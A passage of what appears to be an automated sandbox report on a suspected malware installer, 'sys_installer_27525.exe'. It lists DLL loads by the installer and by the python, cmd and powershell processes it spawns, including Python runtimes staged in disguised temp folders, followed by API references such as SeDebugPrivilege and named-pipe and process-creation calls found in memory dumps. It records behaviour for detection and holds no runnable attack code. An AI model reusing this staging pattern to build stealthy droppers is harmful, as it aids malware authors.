rasapi32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001352) "sys_installer_27525.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.IO.Cb3b124c8#\1e72628c6f64bbea2f27e20f9f2cf3b4\System.IO.Compression.ni.dll (UID: 00000000-00001352) "python.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004796) "python.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004796) "python.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004796) "python.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004796) "python.exe" called "LoadLibrary" with a parameter %TEMP%\SystemDrivers\macOSx\python3 (UID: 00000000-00004796) "python.exe" called "LoadLibrary" with a parameter %TEMP%\SystemDrivers\macOSx\_bz2.pyd (UID: 00000000-00004796) "python.exe" called "LoadLibrary" with a parameter %TEMP%\SystemDrivers\macOSx\_lzma.pyd (UID: 00000000-00004796) "python.exe" called "LoadLibrary" with a parameter SHELL32 (UID: 00000000-00004796) "py.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %TEMP%\Drivers\macOS\python3 (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %TEMP%\Drivers\macOS\_ctypes.pyd (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %TEMP%\Drivers\macOS\_bz2.pyd (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %TEMP%\Drivers\macOS\_lzma.pyd (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter wininet.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00002592) "py.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00002592) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003528) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003528) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003528) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00005792)38:T3ca0,Found reference to API (Indicator: "InitializeConditionVariable"; File: "00000000-00005792.00000000.178161.00EE1000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; File: "00000000-00005792.00000000.178161.00EE1000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "00000000-00005792.00000000.178161.00EE1000.00000020.mdmp") Found reference to API (Indicator: "GetTempPath"; Source: "00000000-00001352.00000000.176224.00B02000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectory"; Source: "00000000-00001352.00000000.176224.00B02000.00000002.mdmp") Found reference to API (Indicator: "AddDllDirectory"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found reference to API (Indicator: "DefWindowProcA"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found reference to API (Indicator: "InitializeSecurityContext"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp") Found reference to API (Indicator: "ConnectNamedPipe"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMapping"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.01092000.00000002.mdmp, 00000000-00002592.00000001.179550.08C80000.00000004.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileName"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "SetNamedPipeHandleState"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.01092000.00000002.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "GetOverlappedResult"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "CreateFile"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "CreateNamedPipe"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "CreatePipe"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "CreateProcess"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "OpenFileMapping"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "PeekNamedPipe"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: 